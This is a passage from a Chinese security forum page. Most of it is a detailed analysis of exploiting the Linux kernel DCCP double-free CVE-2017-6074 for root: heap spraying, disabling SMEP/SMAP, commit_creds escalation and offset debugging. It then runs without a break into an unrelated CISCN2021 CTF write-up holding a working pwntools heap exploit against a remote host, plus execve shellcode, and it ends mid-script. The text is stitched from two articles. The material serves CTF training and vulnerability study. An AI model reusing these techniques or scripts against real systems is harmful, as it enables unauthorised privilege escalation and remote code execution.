：利用方式类似CVE-2016-8655。第一次触发漏洞，堆喷伪造`po->rx_ring->prb_bdqc->retire_blk_timer`结构，执行`native_write_cr4(0x406e0)`来关闭SMEP/SMAP；第二次触发漏洞，堆喷伪造`skb->
... ->destructor_arg`结构，执行`commit_creds(prepare_kernel_cred(0))`来提权。
* * *
## 1\. 漏洞分析
**漏洞流程** ：
* （1）[dccp_rcv_state_process()](https://elixir.bootlin.com/linux/v4.9.12/source/net/dccp/input.c#L574) 处理请求包，如果DCCP协议栈socket状态为`DCCP_LISTEN`，且请求类型为`DCCP_PKT_REQUEST`，则调用 [dccp_v6_conn_request()](https://elixir.bootlin.com/linux/v4.9.12/source/net/dccp/ipv6.c#L303) — `[1]`处；
* （2）[dccp_v6_conn_request()](https://elixir.bootlin.com/linux/v4.9.12/source/net/dccp/ipv6.c#L303) 中`[3]`处，只要满足条件，就将skb引用计数加1，且将skb指针保存到 `ireq->pktopts`——`[4][5]`；用户可通过调用 `setsockopt()` 和 `IPV6_RECVPKTINFO` 选项来设置 `np->rxopt.bits.rxinfo`，使之满足条件`[3]`。
* （3）[dccp_v6_conn_request()](https://elixir.bootlin.com/linux/v4.9.12/source/net/dccp/ipv6.c#L303) 返回成功，却跳至`[2]`处，该skb被`__kfree_skb()`强制释放。之后skb再次释放时即触发Double-Free。
**调用链**
：[dccp_rcv_state_process()](https://elixir.bootlin.com/linux/v4.9.12/source/net/dccp/input.c#L574)
->
[dccp_v6_conn_request()](https://elixir.bootlin.com/linux/v4.9.12/source/net/dccp/ipv6.c#L303)
int dccp_rcv_state_process(struct sock *sk, struct sk_buff *skb,
struct dccp_hdr *dh, unsigned int len)
{
struct dccp_sock *dp = dccp_sk(sk);
struct dccp_skb_cb *dcb = DCCP_SKB_CB(skb);
const int old_state = sk->sk_state;
int queued = 0;
... ...
if (sk->sk_state == DCCP_LISTEN) {
if (dh->dccph_type == DCCP_PKT_REQUEST) {
if (inet_csk(sk)->icsk_af_ops->conn_request(sk, // [1] 实际调用 dccp_v6_conn_request() 函数
skb) < 0)
return 1;
goto discard;
}
if (dh->dccph_type == DCCP_PKT_RESET)
goto discard;
/* Caller (dccp_v4_do_rcv) will send Reset */
dcb->dccpd_reset_code = DCCP_RESET_CODE_NO_CONNECTION;
return 1;
} else if (sk->sk_state == DCCP_CLOSED) {
dcb->dccpd_reset_code = DCCP_RESET_CODE_NO_CONNECTION;
return 1;
}
... ...
if (!queued) {
discard:
__kfree_skb(skb); // [2] 错误释放 skb
}
return 0;
}
// [1] dccp_v6_conn_request()
static int dccp_v6_conn_request(struct sock *sk, struct sk_buff *skb)
{
struct request_sock *req;
struct dccp_request_sock *dreq;
struct inet_request_sock *ireq;
struct ipv6_pinfo *np = inet6_sk(sk);
const __be32 service = dccp_hdr_request(skb)->dccph_req_service;
struct dccp_skb_cb *dcb = DCCP_SKB_CB(skb);
... ...
ireq = inet_rsk(req);
ireq->ir_v6_rmt_addr = ipv6_hdr(skb)->saddr;
ireq->ir_v6_loc_addr = ipv6_hdr(skb)->daddr;
ireq->ireq_family = AF_INET6;
if (ipv6_opt_accepted(sk, skb, IP6CB(skb)) ||
np->rxopt.bits.rxinfo || np->rxopt.bits.rxoinfo || // [3] 可通过 setsockopt() 和 IPV6_RECVPKTINFO 选项来设置 np->rxopt.bits.rxinfo
np->rxopt.bits.rxhlim || np->rxopt.bits.rxohlim) {
atomic_inc(&skb->users); // [4] 只要满足其中一个条件，就会将skb的引用计数加1
ireq->pktopts = skb; // [5] 且将skb指针保存到 ireq->pktopts 中。
}
ireq->ir_iif = sk->sk_bound_dev_if;
... ...
}
* * *
## 2\. 漏洞利用
#### 2-1. 触发漏洞
**触发步骤** ：
* （1）创建s1 = socket(PF_INET6, SOCK_DCCP, …)，并且监听该socket；
* （2）设置该socket的属性值`IPV6_RECVPKTINFO`，使函数`dccp_v6_conn_request()`通过if条件`[3]`，触发释放skb；
* （3）skb释放后，进行堆喷，伪造`skb-> ... ->destructor_arg->callback`函数，触发二次释放skb，执行伪造的回调函数。
**结构链**
（伪造`ubuf_info`结构）：[sk_buff](https://elixir.bootlin.com/linux/v4.9.12/source/include/linux/skbuff.h#L633)
->
[skb_shared_info](https://elixir.bootlin.com/linux/v4.9.12/source/include/linux/skbuff.h#L414)
->
[ubuf_info](https://elixir.bootlin.com/linux/v4.9.12/source/include/linux/skbuff.h#L405)
-> `callback`
struct sk_buff {
union {
struct {
/* These two members must be first. */
struct sk_buff *next;
struct sk_buff *prev;
union {
ktime_t tstamp;
struct skb_mstamp skb_mstamp;
};
};
struct rb_node rbnode; /* used in netem & tcp stack */
};
struct sock *sk;
struct net_device *dev;
... ...
/* These elements must be at the end, see alloc_skb() for details. */
sk_buff_data_t tail;
sk_buff_data_t end;
unsigned char *head,
*data; // <------------ (head+end) 指向 skb_shared_info 结构
unsigned int truesize;
atomic_t users;
};
struct skb_shared_info {
unsigned char nr_frags;
__u8 tx_flags;
unsigned short gso_size;
/* Warning: this field is not always filled in (UFO)! */
unsigned short gso_segs;
unsigned short gso_type;
struct sk_buff *frag_list;
struct skb_shared_hwtstamps hwtstamps;
u32 tskey;
__be32 ip6_frag_id;
/*
* Warning : all fields before dataref are cleared in __alloc_skb()
*/
atomic_t dataref;
/* Intermediate layers must ensure that destructor_arg
* remains valid until skb destructor */
void * destructor_arg; // <------------ 指向 ubuf_info 结构
/* must be last field, see pskb_expand_head() */
skb_frag_t frags[MAX_SKB_FRAGS];
};
struct ubuf_info {
void (*callback)(struct ubuf_info *, bool zerocopy_success); // <------------ 待伪造的回调函数
void *ctx;
unsigned long desc;
};
**`sk_buff`二次释放调用链**：[dccp_close()](https://elixir.bootlin.com/linux/v4.9.12/source/net/dccp/proto.c#L980)
->
[inet_csk_destroy_sock()](https://elixir.bootlin.com/linux/v4.9.12/source/net/ipv4/inet_connection_sock.c#L691)
->
[dccp_v6_destroy_sock()](https://elixir.bootlin.com/linux/v4.9.12/source/net/dccp/ipv6.c#L988)
->
[inet6_destroy_sock()](https://elixir.bootlin.com/linux/v4.9.12/source/net/ipv6/af_inet6.c#L426)
->
[kfree_skb()](https://elixir.bootlin.com/linux/v4.9.12/source/net/core/skbuff.c#L696)
->
[__kfree_skb()](https://elixir.bootlin.com/linux/v4.9.12/source/net/core/skbuff.c#L684)
->
[skb_release_all()](https://elixir.bootlin.com/linux/v4.9.12/source/net/core/skbuff.c#L670)
->
[skb_release_data()](https://elixir.bootlin.com/linux/v4.9.12/source/net/core/skbuff.c#L583)
static struct proto dccp_v6_prot = {
.name = "DCCPv6",
.owner = THIS_MODULE,
.close = dccp_close, // close(socket) -> dccp_close() -> ... -> sk->sk_prot->destroy(sk)
... ...
.destroy = dccp_v6_destroy_sock,
... ...
};
static void skb_release_data(struct sk_buff *skb)
{
struct skb_shared_info *shinfo = skb_shinfo(skb); // skb_shared_info 在 sk_buff中线性数据区的偏移: skb->head+skb->end
int i;
if (skb->cloned &&
atomic_sub_return(skb->nohdr ? (1 << SKB_DATAREF_SHIFT) + 1 : 1,
&shinfo->dataref))
return;
for (i = 0; i < shinfo->nr_frags; i++)
__skb_frag_unref(&shinfo->frags[i]);
/*
* If skb buf is from userspace, we need to notify the caller
* the lower device DMA has done;
*/
if (shinfo->tx_flags & SKBTX_DEV_ZEROCOPY) {
struct ubuf_info *uarg;
uarg = shinfo->destructor_arg;
if (uarg->callback) // 执行回调函数
uarg->callback(uarg, true);
}
if (shinfo->frag_list)
kfree_skb_list(shinfo->frag_list);
skb_free_head(skb);
}
#define skb_shinfo(SKB) ((struct skb_shared_info *)(skb_end_pointer(SKB)))
static inline unsigned char *skb_end_pointer(const struct sk_buff *skb)
{
return skb->head + skb->end;
}
#### 2-2. 关闭SMEP/SMAP
**思路**
：参考CVE-2016-8655的利用方法，调用`native_write_cr4(0x406e0)`来关闭SMEP/SMAP。如果采用以上触发方法来劫持`skb->
...
->destructor_arg->callback`函数，则无法传递参数`0x406e0`。所以借鉴CVE-2016-8655的利用方法，劫持回调函数
[packet_sock](https://elixir.bootlin.com/linux/v4.8.12/source/net/packet/internal.h#L103)
—> [struct packet_ring_buffer
rx_ring](https://elixir.bootlin.com/linux/v4.9.12/source/net/packet/internal.h#L56)
—> [struct tpacket_kbdq_core
prb_bdqc](https://elixir.bootlin.com/linux/v4.9.12/source/net/packet/internal.h#L14)
—> [struct timer_list
retire_blk_timer](https://elixir.bootlin.com/linux/v4.9.12/source/include/linux/timer.h#L12)
—> `function`
**结构链** （伪造`timer_list`结构）：
struct packet_sock {
/* struct sock has to be the first member of packet_sock */
struct sock sk;
struct packet_fanout *fanout;
union tpacket_stats_u stats;
struct packet_ring_buffer rx_ring; // <--------------- rx_ring
struct packet_ring_buffer tx_ring;
... ...
};
struct packet_ring_buffer {
struct pgv *pg_vec;
... ...
unsigned int pg_vec_order;
unsigned int pg_vec_pages;
unsigned int pg_vec_len;
unsigned int __percpu *pending_refcnt;
struct tpacket_kbdq_core prb_bdqc; // <---------------- prb_bdqc
};
/* kbdq - kernel block descriptor queue */
struct tpacket_kbdq_core {
struct pgv *pkbdq;
... ...
struct sk_buff *skb; // <---------------- skb
atomic_t blk_fill_in_prog;
/* Default is set to 8ms */
#define DEFAULT_PRB_RETIRE_TOV (8)
unsigned short retire_blk_tov;
unsigned short version;
unsigned long tov_in_jiffies;
/* timer to retire an outstanding block */
struct timer_list retire_blk_timer; // <---------------- retire_blk_timer
};
struct timer_list {
struct hlist_node entry;
unsigned long expires;
void (*function)(unsigned long); // 待伪造的回调函数
unsigned long data; // 参数
u32 flags;
#ifdef CONFIG_TIMER_STATS
int start_pid;
void *start_site;
char start_comm[16];
#endif
#ifdef CONFIG_LOCKDEP
struct lockdep_map lockdep_map;
#endif
};
**创建timer调用链** ：`setsockopt(fd, SOL_PACKET, PACKET_RX_RING, (void*)&tp,
sizeof(tp));` ——
[packet_set_ring()](https://elixir.bootlin.com/linux/v4.9.12/source/net/packet/af_packet.c#L4161)->[init_prb_bdqc()](https://elixir.bootlin.com/linux/v4.9.12/source/net/packet/af_packet.c#L603)->[prb_setup_retire_blk_timer()](https://elixir.bootlin.com/linux/v4.9.12/source/net/packet/af_packet.c#L547)->[prb_init_blk_timer()](https://elixir.bootlin.com/linux/v4.9.12/source/net/packet/af_packet.c#L537)
**注销timer调用链** ：`close(fd);` ——
[packet_release()](https://elixir.bootlin.com/linux/v4.9.12/source/net/packet/af_packet.c#L2964)
->
[packet_set_ring()](https://elixir.bootlin.com/linux/v4.9.12/source/net/packet/af_packet.c#L4161)->[prb_shutdown_retire_blk_timer()](https://elixir.bootlin.com/linux/v4.9.12/source/net/packet/af_packet.c#L523)
->
[prb_del_retire_blk_timer()](https://elixir.bootlin.com/linux/v4.9.12/source/net/packet/af_packet.c#L518)
->
[del_timer_sync()](https://elixir.bootlin.com/linux/v4.9.12/source/kernel/time/timer.c#L1254)
#### 2-3. 完整利用
**利用步骤** ：
* （1）第一次触发漏洞，伪造函数指针 `po->rx_ring->prb_bdqc->retire_blk_timer->function`，指向`native_write_cr4()`函数，伪造参数 `po->rx_ring->prb_bdqc->retire_blk_timer->data` 为 0x406e0，关闭SMEP/SMAP保护；
* （2）第二次触发漏洞，伪造函数指针 `skb-> ... ->destructor_arg->callback`，指向 `commit_creds(prepare_kernel_cred(0))` 函数，提权；
* （3）如果能读取特权文件，表示提权成功，fork子进程弹shell，避免直接弹shell时释放sk_buff导致崩溃。
**堆喷射**
：注意，关闭SMEP/SMAP时喷射覆盖的是`packet_sock`对象，大小为0x580；提权时喷射覆盖的是`sk_buff`指向的数据区和`skb_shared_info`结构所在的堆块，大小为0x800。这两个对象都位于0x800大小的堆块中，所以exp中发送的占位数据大小是1536，也就是0x600，对齐后大小为0x800。关于`sk_buff`对象的知识可以参考第3节，了解`sk_buff`结构和`skb_shared_info`结构的空间排布关系。
**修正偏移** ：
# 1. timer offset ---> 偏移为 0x2e8+0x30+104
gef➤ p/x &(*(struct packet_sock*)0)->rx_ring
$3 = 0x2e8 =744
gef➤ p/x &(*(struct packet_ring_buffer*)0)->prb_bdqc
$4 = 0x30
gef➤ p/x &(*(struct tpacket_kbdq_core*)0)->retire_blk_timer
$5 = 0x68 =104
# 2. skb_shared_info offset ---> 偏移为 0x6c0
/exp $ cat /tmp/kallsyms | grep skb_release_data
ffffffff81783260 t skb_release_data
gef➤ x /30i 0xffffffff81783260
0xffffffff81783260 <skb_release_data>: nop DWORD PTR [rax+rax*1+0x0]
0xffffffff81783265 <skb_release_data+5>: push rbp
0xffffffff81783266 <skb_release_data+6>: mov rbp,rsp
0xffffffff81783269 <skb_release_data+9>: push r14
0xffffffff8178326b <skb_release_data+11>: push r13
0xffffffff8178326d <skb_release_data+13>: push r12
0xffffffff8178326f <skb_release_data+15>: push rbx
=> 0xffffffff81783270 <skb_release_data+16>: movzx eax,BYTE PTR [rdi+0x8e]
0xffffffff81783277 <skb_release_data+23>: mov r14d,DWORD PTR [rdi+0xcc]
0xffffffff8178327e <skb_release_data+30>: add r14,QWORD PTR [rdi+0xd0]
0xffffffff81783285 <skb_release_data+37>: test al,0x1
0xffffffff81783287 <skb_release_data+39>: je 0xffffffff817832af <skb_release_data+79>
gef➤ p skb
$1 = (struct sk_buff *) 0xffff88007fa5f200
gef➤ p *(struct sk_buff *) 0xffff88007fa5f200
tail = 0x4ac,
end = 0x6c0,
head = 0xffff88007a890800 "",
data = 0xffff88007a890c78
**提权成功** ：
* * *
## 3\. sk_buff 扩展学习
**目的** ：了解`sk_buff`结构和`skb_shared_info`结构的空间排布关系。
#### 3-1. sk_buff 结构
**`sk_buff`结构体**：sk_buff结构体关联多个其他结构体，第一是线性数据区，由`sk_buff->head`和`sk_buff->end`指向的数据块，用来存储sk_buff结构的数据也即是存储数据包的内容和各层协议头。第二是分片结构，也即
**`skb_shared_info`结构，跟在线性数据区后面，即是end指针的下一个字节开始就是分片结构**，用来表示IP分片的一个结构体。因此，`skb_shared_info`分片结构和sk_buff的线性数据区内存分配及销毁时都是一起的。第三个是分片结构指向的非线性数据区，即是IP分片内容。
struct sk_buff {
union {
struct {
/* These two members must be first. */
struct sk_buff *next; // sk_buff结构体是双链表, 指向下一个sk_buff结构体
struct sk_buff *prev; // 指向前一个sk_buff结构体
union {
ktime_t tstamp; // 时间戳，表示这个skb的接收到的时间，一般是在包从驱动中往二层发送的接口函数中设置
struct skb_mstamp skb_mstamp;
};
};
struct rb_node rbnode; /* used in netem & tcp stack */
};
struct sock *sk; // 指向拥有此缓冲的套接字sock结构体，即：宿主传输控制模块
struct net_device *dev; // 表示一个网络设备，当skb为输出/输入时，dev表示要输出/输入到的设备
char cb[48] __aligned(8);
unsigned long _skb_refdst;
void (*destructor)(struct sk_buff *skb); // 这是析构函数，后期在skb内存销毁时会用到
unsigned int len, // 表示数据区的总长度: (tail - data)与分片结构体数据区的长度之和。注意是数据的有效长度
data_len; // 只表示分片结构体数据区的长度(skb_shared_info->page指向的数据长度)，所以len = (tail - data) + data_len
__u16 mac_len,
hdr_len;
... ...
__u16 inner_transport_header;
__u16 inner_network_header;
__u16 inner_mac_header;
__be16 protocol; // 这是包的协议类型，标识是IP包还是ARP包或者其他数据包。
__u16 transport_header; // 指向四层帧头结构体指针
__u16 network_header; // 指向三层IP头结构体指针
__u16 mac_header; // 指向二层mac头的头
/* private: */
__u32 headers_end[0];
/* public: */
/* These elements must be at the end, see alloc_skb() for details. */
sk_buff_data_t tail; // 指向线性数据区中实际数据结束的位置
sk_buff_data_t end; // 指向线性数据区中结束的位置（非实际数据区域结束位置）
unsigned char *head, // 指向线性数据区中开始的位置（非实际数据区域开始位置）
*data; // 指向数据区中实际数据开始的位置
unsigned int truesize; // 表示缓冲区总长度，包括sk_buff自身长度+线性数据区+分片结构体的数据区长度, truesize = len + sizeof(sk_buff) = (data - tail) + data_len + sizeof(sk_buff)
atomic_t users; // 引用计数，表明了有多少实体引用了这个skb。其作用就是在销毁skb结构体时，先查看下users是否为零，若不为零，则调用函数递减下引用计数users即可；当某一次销毁时，users为零才真正释放内存空间。有两个操作函数：atomic_inc()引用计数增加1；atomic_dec()引用计数减去1；
};
#### 3-2. sk_buff 线性数据区
**`sk_buff`线性数据区**：数据区的大小是：(skb->end – skb->head)；对于每个数据包来说这个大小都是固定的，而且在传输过程中
`skb->end` 和 `skb->head`
所指向的地址都是不变的。这块数据区是用来存放应用层发下来的数据和各层的协议信息。但在计算数据长度或者操作协议信息时，一般都要和实际的数据存放指针为准。实际数据指针为data和tail，data指向实际数据开始的地方，tail指向实际数据结束的地方。
sk_buff结构体中的指针和数据区关系：
**包构造与数据区变化** ：
* （1）sk_buff结构数据区刚被申请好，此时head指针、data指针、tail指针都是指向同一个地方。记住前面讲过的：head指针和end指针指向的位置一直都不变，而对于数据的变化和协议信息的添加都是通过data指针和tail指针的改变来表现的。
* （2）开始准备存储应用层下发过来的数据，通过调用函数 `skb_reserve()` 来使data指针和tail指针同时向下移动，空出一部分空间来为后期添加协议信息。
* （3）开始存储数据了，通过调用函数 `skb_put()` 来使tail指针向下移动空出空间来添加数据，此时 `skb->data` 和 `skb->tail` 之间存放的都是数据信息，无协议信息。
* （4）这时就开始调用函数 `skb_push()` 来使data指针向上移动，空出空间来添加各层协议信息。直到最后到达二层，添加完帧头然后就开始发包了。
#### 3-3. sk_buff 非线性数据区
**[skb_shared_info](https://elixir.bootlin.com/linux/v4.9.12/source/include/linux/skbuff.h#L414)
分片结构体**：
**这个分片结构体和`sk_buff`结构的线性数据区是一体的**，`sk_buff->end`指针的下个字节就是分片结构的开始位置,所以在各种操作时都把他们两个结构看做是一个来操作。比如：为sk_buff结构的数据区申请和释放空间时，分片结构也会跟着该数据区一起分配和释放。而克隆时，sk_buff
的数据区和分片结构都由分片结构中的 `dataref` 成员字段来标识是否被引用。关系如下图所示：
struct skb_shared_info {
unsigned char nr_frags; // 表示有多少个分片结构
__u8 tx_flags;
unsigned short gso_size;
unsigned short gso_segs;
unsigned short gso_type; // 分片的类型
struct sk_buff *frag_list; // 这也是一种类型的分配数据
struct skb_shared_hwtstamps hwtstamps;
u32 tskey;
__be32 ip6_frag_id;
atomic_t dataref; // 用于数据区的引用计数,克隆一个skb结构体时，会增加一个引用计数
void * destructor_arg;
/* must be last field, see pskb_expand_head() */
skb_frag_t frags[MAX_SKB_FRAGS]; // 这是个比较重要的数组，到讲分片结构数据区时会细讲
};
**分片结构的非线性数据区** ：`skb_shared_info`中有个成员字段，`skb_frag_t
frags[MAX_SKB_FRAGS]`，和分片结构的数据区有关。
typedef struct skb_frag_struct skb_frag_t;
struct skb_frag_struct {
struct page *page; // 指向分片数据区的指针，类似于sk_buff中的data指针
__u32 page_offset; // 偏移量，表示从page指针指向的地方，偏移page_offset
__u32 size; // 数据区的长度，即：sk_buff结构中的data_len
}
有两种数据结构来存储分片数据，一种是采用`frags`数组来存储分片数据区的指针，一种是用`frag_list`双链表来存储。`frags`一般用在数据很多，且线性数据区放不下的情况，`skb_frag_t`中是一页一页的数据；对于`frag_list`，我们在分片的时候装入每个片的信息，每个片最终也被封装成一个小的skb。分别如下图所示：
#### 3-4. sk_buff 指针操作函数
**`sk_buff`指针操作函数**：
* （1）`skb_put()`：向后扩大数据区空间，headroom空间不变，tailroom空间减少，skb->data指针不变，skb->tail指针下移；
* （2）`skb_push()`：向前扩大数据区空间，headroom空间减少，tailroom空间不变，skb->tail指针不变，skb->data指针上移；
* （3）`skb_pull()`：缩小数据区空间，headroom空间增大，tailroom空间不变，skb->data指针下移，skb->tail指针不变；
* （4）`skb_reserve()`：数据区不变，headroom空间增大，tailroom空间减少，skb->data和skb->tail同时下移；
head--> |----------|
| headroom |
data--> |----------|
| data |
tail--> |----------|
| tailroom |
end --> |----------|
#### 3-5. sk_buff 分配与释放
**skb分配**
：[__alloc_skb()](https://elixir.bootlin.com/linux/v4.9.12/source/net/core/skbuff.c#L203)
，通常被三个函数所调用
[alloc_skb()](https://elixir.bootlin.com/linux/v4.9.12/source/include/linux/skbuff.h#L916)（常用）、[alloc_skb_fclone()](https://elixir.bootlin.com/linux/v4.9.12/source/include/linux/skbuff.h#L958)（分配克隆的`sk_buff`结构）、[dev_alloc_skb()](https://elixir.bootlin.com/linux/v4.9.12/source/include/linux/skbuff.h#L2450)（驱动中调用，申请时不可中断）
—— 参考[分配SKB](https://blog.csdn.net/farmwang/article/details/66978100)。
分配SKB时，需要分配两块内存，一块是SKB描述符，一块是线性数据缓存区（包括线性数据区和`skb_shared_info`结构）。
内核对于sk_buff结构的内存分配不是和一般的结构动态内存申请一样：只分配指定大小的内存空间。而是在开始的时候，在初始化函数[skb_init()](https://elixir.bootlin.com/linux/v4.9.12/source/net/core/skbuff.c#L3454)中就分配了两段内存（`skbuff_head_cache`和`skbuff_fclone_cache`）来供sk_buff后期申请时用，所以后期要为sk_buff结构动态申请内存时，都会从这两段内存中来申请（其实这不叫申请了，因为这两段内存开始就申请好了的，只是根据你要的内存大小从某个你选定的内存段中还回个指针给你罢了）。如果在这个内存段中申请失败，则再用内核中用最低层，最基本的kmalloc()来申请内存了（这才是真正的申请）。释放时也一样，并不会真正的释放，只是把数据清零，然后放回内存段中，以供下次sk_buff结构的申请。这是内核动态申请的一种策略，专门为那些经常要申请和释放的结构设计的，这种策略不仅可以提高申请和释放时的效率，而且还可以减少内存碎片的。
struct sk_buff *__alloc_skb(unsigned int size, gfp_t gfp_mask,
int flags, int node)
{
struct kmem_cache *cache;
struct skb_shared_info *shinfo;
struct sk_buff *skb;
u8 *data;
bool pfmemalloc;
cache = (flags & SKB_ALLOC_FCLONE)
? skbuff_fclone_cache : skbuff_head_cache;
if (sk_memalloc_socks() && (flags & SKB_ALLOC_RX))
gfp_mask |= __GFP_MEMALLOC;
/* Get the HEAD */
skb = kmem_cache_alloc_node(cache, gfp_mask & ~__GFP_DMA, node); // [1] 分配SKB描述符堆块，存放sk_buff结构。从高速缓存中分配，DMA有特定用途，所以排除在DMA中分配
if (!skb)
goto out;
prefetchw(skb);
size = SKB_DATA_ALIGN(size); // 数据对齐
size += SKB_DATA_ALIGN(sizeof(struct skb_shared_info));
data = kmalloc_reserve(size, gfp_mask, node, &pfmemalloc); // [2] 分配线性数据缓存区：线性数据区+skb_shared_info结构。这里可以从DMA内存分配
if (!data)
goto nodata;
size = SKB_WITH_OVERHEAD(ksize(data));
prefetchw(data + size);
memset(skb, 0, offsetof(struct sk_buff, tail));
/* Account for allocated memory : skb + skb->head */
skb->truesize = SKB_TRUESIZE(size); // [3] skb 初始化
skb->pfmemalloc = pfmemalloc;
atomic_set(&skb->users, 1);
skb->head = data;
skb->data = data;
skb_reset_tail_pointer(skb);
skb->end = skb->tail + size;
skb->mac_header = (typeof(skb->mac_header))~0U;
skb->transport_header = (typeof(skb->transport_header))~0U;
/* make sure we initialize shinfo sequentially */
shinfo = skb_shinfo(skb); // [4] skb_shared_info 分片结构初始化
memset(shinfo, 0, offsetof(struct skb_shared_info, dataref));
atomic_set(&shinfo->dataref, 1);
kmemcheck_annotate_variable(shinfo->destructor_arg);
out:
return skb;
nodata:
kmem_cache_free(cache, skb);
skb = NULL;
goto out;
}
EXPORT_SYMBOL(__alloc_skb);
**skb释放** ：
[kfree_skb()](https://elixir.bootlin.com/linux/v4.9.12/source/net/core/skbuff.c#L696)
->
[__kfree_skb()](https://elixir.bootlin.com/linux/v4.9.12/source/net/core/skbuff.c#L684)
->
[skb_release_all()](https://elixir.bootlin.com/linux/v4.9.12/source/net/core/skbuff.c#L670)
->
[skb_release_data()](https://elixir.bootlin.com/linux/v4.9.12/source/net/core/skbuff.c#L583)
如果`skb->users==1`，表明是最后一个引用该结构的，可以调用`__kfree_skb()`函数直接释放。当skb释放掉后，dst_release同样会被调用以减小相关dst_entry数据结构的引用计数。
**如果`skb->destructor`（skb的析构函数）被初始化过，相应的函数会在此时被调用**。还有分片结构体 `skb_shared_info`
也会相应的被释放掉，然后把所有内存空间全部返还到 `skbuff_head_cache` 缓存池中，这些操作都是由 `kfree_skbmem()`
函数来完成的。这里分片的释放涉及到了克隆问题：如果skb没有被克隆，数据区也没有其他skb引用，则直接释放即可；如果是克隆了skb结构，则当克隆数计数为1时，才能释放skb结构体；如果分片结构被克隆了，那么也要等到分片克隆计数为1时，才能释放掉分片数据结构。如果skb是从
`skbuff_fclone_cache`
缓存池中申请的内存时，则要仔细销毁过程了，因为从这个缓存池中申请的内存，会返还2个skb结构体和一个引用计数器。所以销毁时不仅要考虑克隆问题还要考虑2个skb的释放顺序。
void kfree_skb(struct sk_buff *skb)
{
if (unlikely(!skb))
return;
if (likely(atomic_read(&skb->users) == 1)) // [1] 如果 skb->users 不为1，则 skb->users 只是减1，表明减少一次引用。
smp_rmb();
else if (likely(!atomic_dec_and_test(&skb->users)))
return;
trace_kfree_skb(skb, __builtin_return_address(0));
__kfree_skb(skb);
}
EXPORT_SYMBOL(kfree_skb);
## 参考
<https://nvd.nist.gov/vuln/detail/CVE-2017-6074>
[利用漏洞CVE-2017-6074获取root权限](https://zhuanlan.zhihu.com/p/25690077)
[【漏洞预警】雪藏11年：Linux kernel DCCP double-free
权限提升漏洞（CVE-2017-6074）](https://www.anquanke.com/post/id/85546)
<https://www.openwall.com/lists/oss-security/2017/02/26/2>
<https://github.com/xairy/kernel-exploits/tree/master/CVE-2017-6074>
[ftrace: trace your kernel
functions!](https://jvns.ca/blog/2017/03/19/getting-started-with-ftrace/)
[【技术分享】CVE-2016-8655内核竞争条件漏洞调试分析](https://www.anquanke.com/post/id/85162)
[What I Learnt From the CVE-2016-8655
Exploit](http://h3ysatan.blogspot.com/2016/12/what-i-learnt-from-cve-2016-8655-exploit.html)
[sk_buff
整理笔记（一、数据结构）](https://blog.csdn.net/YuZhiHui_No1/article/details/38666589)
[sk_buff整理笔记（二、操作函数）](https://blog.csdn.net/YuZhiHui_No1/article/details/38690015)
[sk_buff整理笔记（三、内存申请和释放）](https://blog.csdn.net/yuzhihui_no1/article/details/38737615)
[sk_buff整理笔记（四、克隆与复制）](https://blog.csdn.net/YuZhiHui_No1/article/details/38827603)
[sk_buff整理笔记（五、队列管理函数）](https://blog.csdn.net/YuZhiHui_No1/article/details/38965069) | 社区文章 |
# CISCN2021 初赛wp by fr3e
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
大家好，我们是fr3e战队，上周打了国赛，最后排名26（华中4），各大高校的各位大师傅们tql。下面是fr3e的wp，希望和各位大师傅们交流。仓促整理，有错误直接issue，dalao们轻喷
：p
## pwn
### wolf
UAF 2.27 打tcache的管理结构
之后打hook
# _*_ coding:utf-8 _*_
from pwn import *
context.log_level = 'debug'
context.terminal=['tmux', 'splitw', '-h']
prog = './lonelywolf'
#elf = ELF(prog)
# p = process(prog)#,env={"LD_PRELOAD":"./libc-2.27.so"})
libc = ELF("./libc-2.27.so")
p = remote("124.71.227.203", 26116)
def debug(addr,PIE=True):
debug_str = ""
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
for i in addr:
debug_str+='b *{}\n'.format(hex(text_base+i))
gdb.attach(p,debug_str)
else:
for i in addr:
debug_str+='b *{}\n'.format(hex(text_base+i))
gdb.attach(p,debug_str)
def dbg():
gdb.attach(p)
#----------------------------------------------------------------------------------------- s = lambda data :p.send(str(data))#in case that data is an int
sa= lambda delim,data :p.sendafter(str(delim), str(data))
sl= lambda data :p.sendline(str(data))
sla = lambda delim,data :p.sendlineafter(str(delim), str(data))
r = lambda numb=4096:p.recv(numb)
ru= lambda delims, drop=True :p.recvuntil(delims, drop)
it= lambda:p.interactive()
uu32= lambda data :u32(data.ljust(4, '\0'))
uu64= lambda data :u64(data.ljust(8, '\0'))
bp= lambda bkp:pdbg.bp(bkp)
li= lambda str1,data1 :log.success(str1+'========>'+hex(data1))
def dbgc(addr):
gdb.attach(p,"b*" + hex(addr) +"\n c")
def lg(s,addr):
print('\033[1;31;40m%20s-->0x%x\033[0m'%(s,addr))
sh_x86_18="\x6a\x0b\x58\x53\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"
sh_x86_20="\x31\xc9\x6a\x0b\x58\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"
sh_x64_21="\xf7\xe6\x50\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x48\x89\xe7\xb0\x3b\x0f\x05"
#https://www.exploit-db.com/shellcodes
#-----------------------------------------------------------------------------------------
choice="Your choice: "
def add(size,c='a'): #
ru(choice)
sl('1')
ru("Index: ")
sl('0')
ru("Size: ")
sl(str(size))
def delete():
ru(choice)
sl('4')
ru("Index: ")
sl('0')
def edit(c):
ru(choice)
sl('2')
ru("Index: ")
sl('0')
ru("Content: " )
sl(c)
def show():
ru(choice)
sl('3')
ru("Index: ")
sl('0')
ru("Content: ")
def exp():
add(0x78)
delete()
# delete()
edit('wi1laaaaa')
delete()
show()
# ru("Content: ")
data = uu64(r(6))
heap = data - 0x260
lg('heap',heap)
#----------------------------- edit(p64(heap+0x10))
add(0x78)
add(0x78)
edit('\x07'*0x40)
delete()
show()
data = uu64(ru('\x7f',drop=False)[-6:])
lg('data',data)
addr = data -0x3ebca0
free_hook=addr+libc.sym['__free_hook']
sys_addr=addr+libc.sym['system']
lg('addr',addr)
edit('\x01'*0x40+p64(free_hook-8))
add(0x10)
edit('/bin/sh\x00'+p64(sys_addr))
delete()
# dbg()
it()
if __name__ == '__main__':
exp()
### pwny
两次write(0x200)
可以泄露bss地址同时造成任意地址写
# _*_ coding:utf-8 _*_
from pwn import *
context.log_level = 'debug'
context.terminal=['tmux', 'splitw', '-h']
prog = './pwny'
